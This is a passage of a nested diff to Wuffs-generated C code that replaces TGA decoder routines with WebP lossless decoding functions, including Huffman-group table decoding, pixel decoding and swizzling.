v_dst_palette = {0}; -- wuffs_base__slice_u8 v_dst = {0}; -- uint64_t v_dst_start = 0; -- wuffs_base__slice_u8 v_src_palette = {0}; -- uint64_t v_mark = 0; -- uint64_t v_num_pixels64 = 0; -- uint32_t v_num_pixels32 = 0; -- uint32_t v_lit_length = 0; -- uint32_t v_run_length = 0; -- uint64_t v_num_dst_bytes = 0; -- uint32_t v_num_src_bytes = 0; -- uint32_t v_c = 0; -- uint32_t v_c5 = 0; -+ uint8_t v_c8 = 0; -+ uint32_t v_use_hg_table = 0; -+ uint32_t v_tile_size_log2 = 0; -+ wuffs_base__slice_u8 v_hg_pixels = {0}; -+ uint64_t v_n = 0; -+ wuffs_base__slice_u8 v_p = {0}; -+ uint32_t v_hg_plus_1 = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -59974,276 +75034,155 @@ wuffs_tga__decoder__do_decode_frame( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_hg_table; - if (coro_susp_point) { -- v_dst_bytes_per_pixel = self->private_data.s_do_decode_frame[0].v_dst_bytes_per_pixel; -- v_dst_x = self->private_data.s_do_decode_frame[0].v_dst_x; -- v_dst_y = self->private_data.s_do_decode_frame[0].v_dst_y; -- v_mark = self->private_data.s_do_decode_frame[0].v_mark; -- v_num_pixels32 = self->private_data.s_do_decode_frame[0].v_num_pixels32; -- v_lit_length = self->private_data.s_do_decode_frame[0].v_lit_length; -- v_run_length = self->private_data.s_do_decode_frame[0].v_run_length; -- v_num_dst_bytes = self->private_data.s_do_decode_frame[0].v_num_dst_bytes; -+ v_tile_size_log2 = self->private_data.s_decode_hg_table.v_tile_size_log2; - } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_call_sequence == 64u) { -- } else if (self->private_impl.f_call_sequence < 64u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ if (self->private_impl.f_n_bits < 1u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; - } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_tga__decoder__do_decode_frame_config(self, NULL, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ self->private_impl.f_bits = ((uint32_t)(v_c8)); -+ self->private_impl.f_n_bits = 8u; -+ } -+ v_use_hg_table = (self->private_impl.f_bits & 1u); -+ self->private_impl.f_bits >>= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ if (v_use_hg_table == 0u) { -+ self->private_impl.f_overall_n_huffman_groups = 1u; -+ self->private_impl.f_overall_tile_size_log2 = 0u; -+ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))) || (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u])) > ((uint64_t)(a_workbuf.len)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); -+ goto exit; - } -- if (status.repr) { -- goto suspend; -+ v_hg_pixels = wuffs_base__slice_u8__subslice_ij(a_workbuf, -+ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])), -+ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))); -+ if (((uint64_t)(v_hg_pixels.len)) >= 4u) { -+ v_hg_pixels.ptr[0u] = 0u; -+ v_hg_pixels.ptr[1u] = 0u; -+ v_hg_pixels.ptr[2u] = 0u; -+ v_hg_pixels.ptr[3u] = 0u; - } -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ status = wuffs_base__make_status(NULL); - goto ok; - } -- if (self->private_impl.f_header_color_map_type != 0u) { -- v_src_palette = wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024); -- } -- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -- wuffs_base__pixel_buffer__pixel_format(a_dst), -- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), -- wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), -- v_src_palette, -- a_blend); -- if ( ! wuffs_base__status__is_ok(&v_status)) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ if (self->private_impl.f_n_bits < 3u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ if (self->private_impl.f_n_bits >= 3u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); - goto exit; - } -- goto ok; -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; - } -- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -- if ((v_dst_bits_per_pixel & 7u) != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -- goto exit; -+ v_tile_size_log2 = ((self->private_impl.f_bits & 7u) + 2u); -+ self->private_impl.f_bits >>= 3u; -+ self->private_impl.f_n_bits -= 3u; -+ self->private_impl.f_overall_tile_size_log2 = v_tile_size_log2; -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); -- if ((self->private_impl.f_header_image_descriptor & 32u) == 0u) { -- v_dst_y = ((uint32_t)(self->private_impl.f_height - 1u)); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ status = wuffs_webp__decoder__decode_color_cache_parameters(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; - } -- if ((self->private_impl.f_header_image_type & 8u) == 0u) { -- v_lit_length = self->private_impl.f_width; -+ if (status.repr) { -+ goto suspend; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ status = wuffs_webp__decoder__decode_huffman_groups(self, a_src, 1u); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; - } -- label__resume__continue:; - while (true) { -- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); -- while (v_dst_y < self->private_impl.f_height) { -- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_dst_y); -- v_dst_start = (((uint64_t)(v_dst_x)) * v_dst_bytes_per_pixel); -- if (v_dst_start <= ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_start); -- } else { -- v_dst = wuffs_base__utility__empty_slice_u8(); -- } -- while (v_dst_x < self->private_impl.f_width) { -- if (self->private_impl.f_src_bytes_per_pixel > 0u) { -- if (v_lit_length > 0u) { -- v_mark = ((uint64_t)(iop_a_src - io0_a_src)); -- v_num_pixels64 = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(self->private_impl.f_src_bytes_per_pixel))); -- v_num_pixels32 = ((uint32_t)(wuffs_base__u64__min(v_num_pixels64, ((uint64_t)(v_lit_length))))); -- v_num_dst_bytes = (((uint64_t)(v_num_pixels32)) * v_dst_bytes_per_pixel); -- v_num_src_bytes = (v_num_pixels32 * self->private_impl.f_src_bytes_per_pixel); -- self->private_data.s_do_decode_frame[0].scratch = v_num_src_bytes; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); -- if (v_num_dst_bytes <= ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_num_dst_bytes); -- } else { -- v_dst = wuffs_base__utility__empty_slice_u8(); -- } -- v_dst_x += v_num_pixels32; -- v_lit_length = (((uint32_t)(v_lit_length - v_num_pixels32)) & 65535u); -- if (v_lit_length > 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -- goto label__resume__continue; -- } -- } else if (v_run_length > 0u) { -- v_run_length -= 1u; -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_scratch_bytes_per_pixel)); -- if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); -- } -- v_dst_x += 1u; -- } else { -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -- goto label__resume__continue; -- } -- if (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) < 128u) { -- v_lit_length = (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) + 1u); -- iop_a_src += 1u; -- if ((v_lit_length + v_dst_x) > self->private_impl.f_width) { -- status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); -- goto exit; -- } -- } else { -- if (self->private_impl.f_src_bytes_per_pixel == 1u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -- goto label__resume__continue; -- } -- v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); -- iop_a_src += 1u; -- self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- } else if (self->private_impl.f_src_bytes_per_pixel == 3u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -- goto label__resume__continue; -- } -- v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); -- iop_a_src += 1u; -- self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- self->private_data.f_scratch[1u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- self->private_data.f_scratch[2u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- } else { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 5u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); -- goto label__resume__continue; -- } -- v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); -- iop_a_src += 1u; -- self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- self->private_data.f_scratch[1u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- self->private_data.f_scratch[2u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- self->private_data.f_scratch[3u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- } -- if ((v_run_length + v_dst_x) > self->private_impl.f_width) { -- status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); -- goto exit; -- } -- } -- } -- } else { -- if (v_lit_length > 0u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); -- goto label__resume__continue; -- } -- v_c = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2u; -- v_c5 = (31u & (v_c >> 0u)); -- self->private_data.f_scratch[0u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -- v_c5 = (31u & (v_c >> 5u)); -- self->private_data.f_scratch[1u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -- v_c5 = (31u & (v_c >> 10u)); -- self->private_data.f_scratch[2u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -- self->private_data.f_scratch[3u] = 255u; -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, 4)); -- if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); -- } -- v_dst_x += 1u; -- v_lit_length -= 1u; -- } else if (v_run_length > 0u) { -- v_run_length -= 1u; -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_scratch_bytes_per_pixel)); -- if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); -- } -- v_dst_x += 1u; -- } else { -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); -- goto label__resume__continue; -- } -- if (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) < 128u) { -- v_lit_length = (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) + 1u); -- iop_a_src += 1u; -- if ((v_lit_length + v_dst_x) > self->private_impl.f_width) { -- status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); -- goto exit; -- } -- } else { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); -- goto label__resume__continue; -- } -- v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); -- iop_a_src += 1u; -- v_c = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2u; -- v_c5 = (31u & (v_c >> 0u)); -- self->private_data.f_scratch[0u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -- v_c5 = (31u & (v_c >> 5u)); -- self->private_data.f_scratch[1u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -- v_c5 = (31u & (v_c >> 10u)); -- self->private_data.f_scratch[2u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -- self->private_data.f_scratch[3u] = 255u; -- if ((v_run_length + v_dst_x) > self->private_impl.f_width) { -- status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); -- goto exit; -- } -- } -- } -- } -- } -- v_dst_x = 0u; -- if ((self->private_impl.f_header_image_descriptor & 32u) == 0u) { -- v_dst_y -= 1u; -- } else { -- v_dst_y += 1u; -+ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))) || (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u])) > ((uint64_t)(a_workbuf.len)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); -+ goto exit; -+ } -+ { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- if ((self->private_impl.f_header_image_type & 8u) == 0u) { -- v_lit_length = self->private_impl.f_width; -+ wuffs_base__status t_2 = wuffs_webp__decoder__decode_pixels(self, -+ wuffs_base__slice_u8__subslice_ij(a_workbuf, -+ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])), -+ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))), -+ a_src, -+ ((a_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2), -+ ((self->private_impl.f_height + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2), -+ wuffs_base__utility__empty_slice_u8(), -+ 0u); -+ v_status = t_2; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; - } - } -- break; -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -+ } -+ self->private_impl.f_overall_n_huffman_groups = 1u; -+ if ((((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])) > ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))) || (((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u])) > ((uint64_t)(a_workbuf.len)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); -+ goto exit; -+ } -+ v_hg_pixels = wuffs_base__slice_u8__subslice_ij(a_workbuf, -+ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[0u])), -+ ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[1u]))); -+ v_n = ((uint64_t)((((a_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2) * ((self->private_impl.f_height + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2) * 4u))); -+ if (v_n > ((uint64_t)(v_hg_pixels.len))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); -+ goto exit; -+ } -+ v_p = wuffs_base__slice_u8__subslice_j(v_hg_pixels, v_n); -+ while (((uint64_t)(v_p.len)) >= 4u) { -+ if (v_p.ptr[2u] != 0u) { -+ status = wuffs_base__make_status(wuffs_webp__error__unsupported_number_of_huffman_groups); -+ goto exit; -+ } -+ v_hg_plus_1 = (((uint32_t)(v_p.ptr[1u])) + 1u); -+ if (self->private_impl.f_overall_n_huffman_groups < v_hg_plus_1) { -+ self->private_impl.f_overall_n_huffman_groups = v_hg_plus_1; -+ } -+ v_p = wuffs_base__slice_u8__subslice_i(v_p, 4u); - } -- self->private_impl.f_call_sequence = 96u; - - ok: -- self->private_impl.p_do_decode_frame[0] = 0; -+ self->private_impl.p_decode_hg_table = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_do_decode_frame[0].v_dst_bytes_per_pixel = v_dst_bytes_per_pixel; -- self->private_data.s_do_decode_frame[0].v_dst_x = v_dst_x; -- self->private_data.s_do_decode_frame[0].v_dst_y = v_dst_y; -- self->private_data.s_do_decode_frame[0].v_mark = v_mark; -- self->private_data.s_do_decode_frame[0].v_num_pixels32 = v_num_pixels32; -- self->private_data.s_do_decode_frame[0].v_lit_length = v_lit_length; -- self->private_data.s_do_decode_frame[0].v_run_length = v_run_length; -- self->private_data.s_do_decode_frame[0].v_num_dst_bytes = v_num_dst_bytes; -+ self->private_impl.p_decode_hg_table = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_hg_table.v_tile_size_log2 = v_tile_size_log2; - - goto exit; - exit: -@@ -60254,12 +75193,117 @@ wuffs_tga__decoder__do_decode_frame( - return status; - } - --// -------- func tga.decoder.frame_dirty_rect -+// -------- func webp.decoder.decode_pixels -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__decode_pixels( -+ wuffs_webp__decoder* self, -+ wuffs_base__slice_u8 a_dst, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_width, -+ uint32_t a_height, -+ wuffs_base__slice_u8 a_tile_data, -+ uint32_t a_tile_size_log2) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_i = 0; -+ uint32_t v_n = 0; -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_pixels; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ v_i = 0u; -+ v_n = (((uint32_t)(1u)) << self->private_impl.f_color_cache_bits); -+ while (v_i < v_n) { -+ self->private_data.f_color_cache[v_i] = 0u; -+ v_i += 1u; -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_webp__decoder__decode_pixels_slow(self, -+ a_dst, -+ a_src, -+ a_width, -+ a_height, -+ a_tile_data, -+ a_tile_size_log2); -+ if (status.repr) { -+ goto suspend; -+ } -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_pixels = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_pixels = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ return status; -+} -+ -+// -------- func webp.decoder.swizzle -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__swizzle( -+ wuffs_webp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_src, -+ wuffs_base__pixel_blend a_blend) { -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint32_t v_dst_bytes_per_pixel = 0; -+ uint64_t v_dst_bytes_per_row = 0; -+ wuffs_base__slice_u8 v_dst_palette = {0}; -+ wuffs_base__table_u8 v_tab = {0}; -+ uint64_t v_src_bytes_per_row = 0; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint32_t v_y = 0; -+ -+ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -+ wuffs_base__pixel_buffer__pixel_format(a_dst), -+ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_palette, 1024)), -+ wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), -+ wuffs_base__utility__empty_slice_u8(), -+ a_blend); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ return wuffs_private_impl__status__ensure_not_a_suspension(v_status); -+ } -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ } -+ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -+ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -+ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_palette, 1024)); -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ v_src_bytes_per_row = ((uint64_t)((self->private_impl.f_width * 4u))); -+ while (v_src_bytes_per_row <= ((uint64_t)(a_src.len))) { -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_y); -+ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); -+ } -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__slice_u8__subslice_j(a_src, v_src_bytes_per_row)); -+ a_src = wuffs_base__slice_u8__subslice_i(a_src, v_src_bytes_per_row); -+ v_y += 1u; -+ } -+ return wuffs_base__make_status(NULL); -+} -+ -+// -------- func webp.decoder.frame_dirty_rect - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_tga__decoder__frame_dirty_rect( -- const wuffs_tga__decoder* self) { -+wuffs_webp__decoder__frame_dirty_rect( -+ const wuffs_webp__decoder* self) { - if (!self) { - return wuffs_base__utility__empty_rect_ie_u32(); - } -@@ -60275,12 +75319,12 @@ wuffs_tga__decoder__frame_dirty_rect( - self->private_impl.f_height); - } - --// -------- func tga.decoder.num_animation_loops -+// -------- func webp.decoder.num_animation_loops - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_tga__decoder__num_animation_loops( -- const wuffs_tga__decoder* self) { -+wuffs_webp__decoder__num_animation_loops( -+ const wuffs_webp__decoder* self) { - if (!self) { - return 0; - } -@@ -60292,12 +75336,12 @@ wuffs_tga__decoder__num_animation_loops( - return 0u; - } - --// -------- func tga.decoder.num_decoded_frame_configs -+// -------- func webp.decoder.num_decoded_frame_configs - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_tga__decoder__num_decoded_frame_configs( -- const wuffs_tga__decoder* self) { -+wuffs_webp__decoder__num_decoded_frame_configs( -+ const wuffs_webp__decoder* self) { - if (!self) { - return 0; - } -@@ -60312,12 +75356,12 @@ wuffs_tga__decoder__num_decoded_frame_configs( - return 0u; - } - --// -------- func tga.decoder.num_decoded_frames -+// -------- func webp.decoder.num_decoded_frames - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_tga__decoder__num_decoded_frames( -- const wuffs_tga__decoder* self) { -+wuffs_webp__decoder__num_decoded_frames( -+ const wuffs_webp__decoder* self) { - if (!self) { - return 0; - } -@@ -60332,12 +75376,12 @@ wuffs_tga__decoder__num_decoded_frames( - return 0u; - } - --// -------- func tga.decoder.restart_frame -+// -------- func webp.decoder.restart_frame - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_tga__decoder__restart_frame( -- wuffs_tga__decoder* self, -+wuffs_webp__decoder__restart_frame( -+ wuffs_webp__decoder* self, - uint64_t a_index, - uint64_t a_io_position) { - if (!self) { -@@ -60353,31 +75397,30 @@ wuffs_tga__decoder__restart_frame( - if (self->private_impl.f_call_sequence < 32u) { - return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); - } -- if (a_index != 0u) { -+ if ((a_index != 0u) || (a_io_position != self->private_impl.f_frame_config_io_position)) { - return wuffs_base__make_status(wuffs_base__error__bad_argument); - } - self->private_impl.f_call_sequence = 40u; -- self->private_impl.f_frame_config_io_position = a_io_position; - return wuffs_base__make_status(NULL); - } - --// -------- func tga.decoder.set_report_metadata -+// -------- func webp.decoder.set_report_metadata - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_tga__decoder__set_report_metadata( -- wuffs_tga__decoder* self, -+wuffs_webp__decoder__set_report_metadata( -+ wuffs_webp__decoder* self, - uint32_t a_fourcc, - bool a_report) { - return wuffs_base__make_empty_struct(); - } - --// -------- func tga.decoder.tell_me_more -+// -------- func webp.decoder.tell_me_more - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_tga__decoder__tell_me_more( -- wuffs_tga__decoder* self, -+wuffs_webp__decoder__tell_me_more( -+ wuffs_webp__decoder* self, - wuffs_base__io_buffer* a_dst, - wuffs_base__more_information* a_minfo, - wuffs_base__io_buffer* a_src) { -@@ -60415,29 +75458,12 @@ wuffs_tga__decoder__tell_me_more( - return status; - } - --// -------- func tga.decoder.history_retain_length -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_tga__decoder__history_retain_length( -- const wuffs_tga__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- return 0u; --} -- --// -------- func 